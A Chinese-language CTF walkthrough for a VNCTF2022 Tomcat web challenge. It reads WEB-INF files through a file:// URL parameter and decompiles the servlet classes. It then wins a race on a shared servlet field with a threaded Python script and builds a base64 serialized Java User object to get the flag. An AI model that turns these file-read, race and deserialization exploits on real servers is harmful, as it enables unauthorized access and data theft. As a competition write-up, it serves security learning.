提示传参/file?url
随便传输参数后,发现是Tomcat框架的
直接读文件 web.xml没啥信息 后来发现了一个classes目录
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml /file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
file协议可以读取文件(JDK 也可以在9前使用netdoc
协议),阅读后反编译,开始使用jd-gui,结果有一个地方反编译有点一个小错误。最好使用在线工具。JAVA反向工程网 (javare.cn)
先看反编译HelloWorldServlet.java
的doGet函数
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name"); if (reqName != null) {
this.name = reqName; } if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!"); } else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " Secr3t.getKey()); } } }
这里的Secr3t#check
方法是检测传入的参数值是否vnctf2022
public static boolean check(/span>String checkStr) {
if ("vnctf2022".equals(checkStr)) return true; return false; }
所以这里如果想得到key就需要name传参vnctf2022,但传参后又会执行if中的语句,if和else中的语句相同所以就冲突了,所以就需要进行条件竞争,参考:Servlet的线程安全问题 | Y4tacker’s Blog
EXP
import requests
import threading
host = "http://74e07ae7-39fb-4055-bd42-ec21b675a96a.node4.buuoj.cn:81/"
class myThread(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
print("开始线程:" + self.name)
runing(self.name)
print("退出线程:" + self.name)
def runing(name):
while True:
r = requests.get(host + "/evi1?name=%s" % name)
r.encoding = "utf-8"
#print(host + "/evi1?name=%s" % name)
if r.text.find("The Key is") != -1:
print(r.text)
return 0
# 创建新线程
thread1 = myThread("Sentiment")
thread2 = myThread("vnctf2022")
# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()
之后就是doPost
方法了
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
接受两个参数,key和base64,key只需要传参刚才线程跑出来的key即可,base64绕过this.user.equals(u)
即可
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
最后需要注意的是User.java
中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。
private transient String height;
在User.java
最后加上
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}
Exp
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
}
传入key和base64即可